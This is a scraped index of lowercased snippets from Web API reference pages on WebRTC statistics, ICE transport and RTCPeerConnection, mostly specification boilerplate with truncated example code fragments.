specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.requestsreceived' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.requestsSent - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.requestssent' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.responsesReceived - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.responsesreceived' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.responsesSent - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.responsessent' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.retransmissionsReceived - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.retransmissionsreceived' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.retransmissionsSent - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.retransmissionssent' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.totalRoundTripTime - Web APIs
you can calculate the average round-trip time (rtt) by dividing this value by the value of the responsesreceived property: rtt = rtcicecandidatepairstats.totalroundtriptime / rtcicecandidatepairstats.responsesreceived; specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.totalroundtriptime' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.transportId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.transportid' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.address - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.address' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.candidateType - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.candidatetype' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.deleted - Web APIs
object.keys(report).foreach(statname => { if (statname !== "id" && statname !== "timestamp" && statname !== "type") { statsoutput += `<strong>${statname}:</strong> ${report[statname]}<br>\n`; } }); } }); document.queryselector(".stats-box").innerhtml = statsoutput; }); }, 1000); specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.deleted' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.networkType - Web APIs
the rtcicecandidatestats dictionary's networktype property specifies the type of network used by a local candidate to communicate with a remote peer.
...the string indicates the type of network connection that the described candidate would use to communicate with the other peer.
RTCIceCandidateStats.port - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.port' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.priority - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.port' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.transportId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.transportid' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.url - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.url' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateType - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidatetype' in that specification.
... candidate recommendation initial definition.
RTCIceComponent - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecomponent' in that specification.
... candidate recommendation initial definition.
RTCIceCredentialType - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecredentialtype' in that specification.
... candidate recommendation initial specification.
RTCIceGathererState - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicegathererstate' in that specification.
... candidate recommendation initial definition.
RTCIceParameters.password - Web APIs
syntax password = rtciceparameters.password; value a domstring containing the password that corresponds to the transport's usernamefragment string specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceparameters.password' in that specification.
... candidate recommendation initial specification.
RTCIceParameters.usernameFragment - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceparameters.usernamefragment' in that specification.
... candidate recommendation initial specification.
RTCIceParameters - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceparameters' in that specification.
... candidate recommendation initial specification.
RTCIceProtocol - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceprotocol' in that specification.
... candidate recommendation initial definition.
RTCIceRole - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicerole' in that specification.
... candidate recommendation initial definition.
RTCIceServer.credential - Web APIs
mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.credential' in that specification.
... candidate recommendation initial specification.
RTCIceServer.credentialType - Web APIs
mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword", credentialtype: "password" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.credential' in that specification.
... candidate recommendation initial specification.
RTCIceServers.urls - Web APIs
WebAPIRTCIceServerurls
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.urls' in that specification.
... candidate recommendation initial specification.
RTCIceServer.username - Web APIs
mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.username' in that specification.
... candidate recommendation initial specification.
RTCIceTcpCandidateType - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetcpcandidatetype' in that specification.
... candidate recommendation initial definition.
RTCIceTransport.component - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.component' in that specification.
... candidate recommendation initial definition.
RTCIceTransport.gatheringState - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.gatheringstate' in that specification.
... candidate recommendation initial definition.
RTCIceTransport: gatheringstatechange event - Web APIs
statechange event handler property: pc.getsenders().foreach(sender => { sender.transport.icetransport.ongatheringstatechange = ev => { let transport = ev.target; if (transport.gatheringstate === "complete") { /* this transport has finished gathering candidates, but others may still be working on it */ } }; }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'gatheringstatechange' in that specification.
... candidate recommendation ...
RTCIceTransport.getLocalCandidates() - Web APIs
var localcandidates = pc.getsenders()[0].transport.transport.getlocalcandidates(); localcandidates.foreach(function(candidate, index)) { console.log("candidate " + index + ": " + candidate.candidate); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.getlocalcandidates()' in that specification.
... candidate recommendation initial definition.
RTCIceTransport.getLocalParameters() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.getlocalparameters' in that specification.
... candidate recommendation initial specification.
RTCIceTransport.getRemoteCandidates() - Web APIs
var remotecandidates = pc.getsenders()[0].transport.transport.getremotecandidates(); remotecandidates.foreach(function(candidate, index)) { console.log("candidate " + index + ": " + candidate.candidate); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.getremotecandidates()' in that specification.
... candidate recommendation initial definition.
RTCIceTransport.getRemoteParameters() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.getremoteparameters' in that specification.
... candidate recommendation initial specification.
RTCIceTransport.getSelectedCandidatePair() - Web APIs
getelementbyid("local-protocol"); var remoteproto = document.getelementbyid("remote-protocol"); icetransport.onselectedcandidatepairchange = function(event) { var pair = icetransport.getselectedcandidatepair(); localprotocol.innertext = pair.local.protocol.touppercase(); remoteprotocol.innertext = pair.remote.protocol.touppercase(); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.getselectedcandidatepair()' in that specification.
... candidate recommendation initial specification.
RTCIceTransport.ongatheringstatechange - Web APIs
var icetransport = pc.getsenders()[0].transport.transport; icetransport.ongatheringstatechange = function(event) { if (icetransport.gatheringstate == "complete") { allcandidatesreceived(pc); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.ongatheringstatechange' in that specification.
... candidate recommendation initial specification.
RTCIceTransport.onstatechange - Web APIs
var icetransport = pc.getsenders()[0].transport.icetransport; icetransport.onstatechange = function(event) { if (icetransport.state == "failed") { handlefailure(pc); } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.onstatechange' in that specification.
... candidate recommendation initial specification.
RTCIceTransport.role - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.role' in that specification.
... candidate recommendation initial definition.
RTCIceTransport: selectedcandidatepairchange event - Web APIs
ent.getelementbyid("local-protocol"); let remoteprotoelem = document.getelementbyid("remote-protocol"); icetransport.onselectedcandidatepairchange = ev => { let pair = icetransport.getselectedcandidatepair(); localprotoelem.innertext = pair.local.protocol.touppercase(); remoteprotoelem.innertext = pair.remote.protocol.touppercase(); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'selectedcandidatepairchange' in that specification.
... candidate recommendation ...
RTCIceTransport.state - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransportstate' in that specification.
... candidate recommendation initial definition.
RTCIceTransport - Web APIs
examples tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport' in that specification.
... candidate recommendation initial definition.
RTCIceTransportState - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicerole' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.averageRtcpInterval - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.averagertcpinterval' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.bytesReceived - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.bytesreceived' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.fecPacketsDiscarded - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.fecpacketsdiscarded' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.fecPacketsReceived - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.fecpacketsreceived' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.firCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.fircount' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.framesDecoded - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.framesdecoded' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.lastPacketReceivedTimestamp - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.lastpacketreceivedtimestamp' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.nackCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.nackcount' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.packetsDuplicated - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.packetsduplicated' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.packetsFailedDecryption - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.packetsfaileddecryption' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.perDscpPacketsReceived - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.perdscppacketsreceived' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.pliCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.plicount' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.qpSum - Web APIs
tats) { let framecount = 0; switch(stats.type) { case "inbound-rtp": case "remote-inbound-rtp": framecount = stats.framesdecoded; break; case "outbound-rtp": case "remote-outbound-rtp": framecount = stats.framesencoded; break; default: return 0; } return status.qpsum / framecount; } specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.qpsum' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.receiverId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.receiverid' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.remoteId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.remoteid' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.sliCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.slicount' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats.trackId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats.trackid' in that specification.
... candidate recommendation initial definition.
RTCInboundRtpStreamStats - Web APIs
examples specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcinboundrtpstreamstats' in that specification.
... candidate recommendation initial specification.
RTCNetworkType - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcnetworktype' in that specification.
... candidate recommendation initial definition.
RTCOfferAnswerOptions - Web APIs
the default value is true, enabling this functionality specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcofferansweroptions' in that specification.
... candidate recommendation initial definition.
RTCOfferOptions.iceRestart - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcofferoptions.icerestart' in that specification.
... candidate recommendation initial definition.
RTCOfferOptions - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcofferoptions' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.averageRtcpInterval - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.averagertcpinterval' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.firCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.fircount' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.framesEncoded - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.framesencoded' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.lastPacketSentTimestamp - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.lastpacketsenttimestamp' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.nackCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.nackcount' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.perDscpPacketsSent - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.perdscppacketssent' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.pliCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.plicount' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.qpSum - Web APIs
tats) { let framecount = 0; switch(stats.type) { case "inbound-rtp": case "remote-inbound-rtp": framecount = stats.framesdecoded; break; case "outbound-rtp": case "remote-outbound-rtp": framecount = stats.framesencoded; break; default: return 0; } return status.qpsum / framecount; } specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.qpsum' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.qualityLimitationReason - Web APIs
examples specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.qualitylimitationreason' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.remoteId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.remoteid' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.sliCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.slicount' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats.trackId - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.trackid' in that specification.
... candidate recommendation initial definition.
RTCOutboundRtpStreamStats - Web APIs
examples specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcoutboundrtpstreamstats' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection()' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection.addIceCandidate() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.addicecandidate()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.addStream() - Web APIs
emove a track from a stream and the peer connection said stream was added to: stream.removetrack(track); if (pc.removetrack) { pc.removetrack(pc.getsenders().find(sender => sender.track == track)); } else { // if you have code listening for negotiationneeded events: settimeout(() => pc.dispatchevent(new event('negotiationneeded'))); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.addstream()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.addTransceiver() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.addtransceiver()' in that specification.
... candidate recommendation ...
RTCPeerConnection.canTrickleIceCandidates - Web APIs
egatheringstate === 'complete') { r(pc.localdescription); } }); }); }) .then(answer => sendanswertopeer(answer)) // signaling message .catch(e => handleerror(e)); pc.addeventlistener('icecandidate', e => { if (pc.cantrickleicecandidates) { sendcandidatetopeer(e.candidate); // signaling message } }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.cantrickleicecandidates' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.close() - Web APIs
peerconnection(); var dc = pc.createdatachannel("my channel"); dc.onmessage = function (event) { console.log("received: " + event.data); pc.close(); // we decided to close after the first received message }; dc.onopen = function () { console.log("datachannel open"); }; dc.onclose = function () { console.log("datachannel close"); }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.close()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.connectionState - Web APIs
*/ var connectionstate = pc.connectionstate; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.connectionstate' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection: connectionstatechange event - Web APIs
*/ } }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'connectionstatechange' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.createAnswer() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'createanswer()' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection.createOffer() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'createoffer()' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection.currentLocalDescription - Web APIs
var pc = new rtcpeerconnection(); … var sd = pc.currentlocaldescription; if (sd) { alert("local session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("no local session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.currentlocaldescription' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.currentRemoteDescription - Web APIs
var pc = new rtcpeerconnection(); … var sd = pc.currentremotedescription; if (sd) { alert("local session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("no local session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.currentremotedescription' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.generateCertificate() - Web APIs
example rtcpeerconnection.generatecertificate({ name: 'rsassa-pkcs1-v1_5', hash: 'sha-256', moduluslength: 2048, publicexponent: new uint8array([1, 0, 1]) }).then(function(cert) { var pc = new rtcpeerconnection({certificates: [cert]}); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'generatecertificate()' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection.getConfiguration() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'getconfiguration()' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection.getReceivers() - Web APIs
example tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.getreceivers()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.getSenders() - Web APIs
function setmuting(pc, muting) { let senderlist = pc.getsenders(); senderlist.foreach(sender) { sender.track.enabled = !muting; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.getsenders()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.getStats() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.getstats()' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection.getTransceivers() - Web APIs
pc.gettransceivers().foreach(transceiver => { transceiver.stop(); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.gettransceivers()' in that specification.
... candidate recommendation ...
RTCPeerConnection.iceConnectionState - Web APIs
example var pc = new rtcpeerconnection(); var state = pc.iceconnectionstate; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.iceconnectionstate' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.iceGatheringState - Web APIs
example var pc = new rtcpeerconnection(); var state = pc.icegatheringstate; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.icegatheringstate' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection: icegatheringstatechange event - Web APIs
for icegatheringstatechange events: pc.addeventlistener("icegatheringstatechange", ev => { let connection = ev.target; switch(connection.icegatheringstate) { case "gathering": /* collection of candidates has begun */ break; case "complete": /* collection of candidates is finished */ break; } }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'icecandidatestatechange' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection: icecandidate event - Web APIs
ev.candidate) { sendmessage({ type: "new-ice-candidate", candidate: event.candidate }); } }, false); you can also set the onicecandidate event handler property directly: pc.onicecandidate = ev => { if (ev.candidate) { sendmessage({ type: "new-ice-candidate", candidate: event.candidate }); } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'icecandidate' in that specification.
... candidate recommendation ...
RTCPeerConnection: icecandidateerror event - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'icecandidateerror' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection: identityresult event - Web APIs
bubbles no cancelable no interface rtcidentityevent event handler property onidentityresult specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'identityresult' in that specification.
... candidate recommendation ...
RTCPeerConnection: idpassertionerror event - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'idpassertionerror' in that specification.
... candidate recommendation ...
RTCPeerConnection: idpvalidationerror event - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'idpvalidationerror' in that specification.
... candidate recommendation ...
RTCPeerConnection.localDescription - Web APIs
var pc = new rtcpeerconnection(); … var sd = pc.localdescription; if (sd) { alert("local session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("no local session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.localdescription' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.onaddstream - Web APIs
the event is sent immediately after the call setremotedescription() and doesn't wait for the result of the sdp negotiation.
...the first time an event occurs may be nearly immediately after the remote end of the connection is set using rtcpeerconnection.setremotedescription(); it doesn't wait for a particular stream to be accepted or rejected using sdp negotiation.
RTCPeerConnection.onconnectionstatechange - Web APIs
function(event) { switch(pc.connectionstate) { case "connected": // the connection has become fully connected break; case "disconnected": case "failed": // one or more transports has terminated unexpectedly or in an error break; case "closed": // the connection has been closed break; } } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.onconnectionstatechange' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.ondatachannel - Web APIs
example pc.ondatachannel = function(ev) { console.log('data channel is created!'); ev.channel.onopen = function() { console.log('data channel is open and ready to be used.'); }; }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.ondatachannel' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.onicecandidate - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.onicecandidate' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.onicecandidateerror - Web APIs
} } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.onicecandidateerror' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.oniceconnectionstatechange - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.oniceconnectionstatechange' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.onicegatheringstatechange - Web APIs
al event handler looks like this: pc.onicegatheringstatechange = function() { let label = "unknown"; switch(pc.icegatheringstate) { case "new": case "complete": label = "idle"; break; case "gathering": label = "determining route"; break; } document.getelementbyid("icestatus").innerhtml = label; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.onicegatheringstatechange' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.onsignalingstatechange - Web APIs
pc.onsignalingstatechange = function(event) { if (pc.signalingstate === "have-local-pranswer") { // setlocaldescription() has been called with an answer } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.onsignalingstatechange' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.ontrack - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.ontrack' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection: peeridentity event - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'peeridentity' in that specification.
... candidate recommendation ...
RTCPeerConnection.pendingLocalDescription - Web APIs
} else { // no description change pending } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.pendinglocaldescription' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.pendingRemoteDescription - Web APIs
} else { // no description change pending } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.pendingremotedescription' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.remoteDescription - Web APIs
var pc = new rtcpeerconnection(); … var sd = pc.remotedescription; if (sd) { alert("remote session: type='" + sd.type + "'; sdp description='" + sd.sdp + "'"); } else { alert("no remote session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.remotedescription' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.removeTrack() - Web APIs
var pc, sender; navigator.getusermedia({video: true}, function(stream) { pc = new rtcpeerconnection(); var track = stream.getvideotracks()[0]; sender = pc.addtrack(track, stream); }); document.getelementbyid("closebutton").addeventlistener("click", function(event) { pc.removetrack(sender); pc.close(); }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.removetrack()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.restartIce() - Web APIs
specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.restartice()' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection.sctp - Web APIs
e var pc = new rtcpeerconnection(); var channel = pc.createdatachannel("mydata"); channel.onopen = function(event) { channel.send('sending a message'); } channel.onmessage = function(event) { console.log(event.data); } // determine the largest message size that can be sent var sctp = pc.sctp; var maxmessagesize = sctp.maxmessagesize; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.sctp' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.signalingState - Web APIs
example var pc = new rtcpeerconnection(configuration); var state = pc.signalingstate; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.signalingstate' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection: signalingstatechange event - Web APIs
e", ev => { switch(pc.signalingstate) { case "stable": updatestatus("ice negotiation complete"); break; } }, false); using onsignalingstatechange, it looks like this: pc.onsignalingstatechange = ev => { switch(pc.signalingstate) { case "stable": updatestatus("ice negotiation complete"); break; } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'signalingstatechange' in that specification.
... candidate recommendation ...
RTCPeerConnection: track event - Web APIs
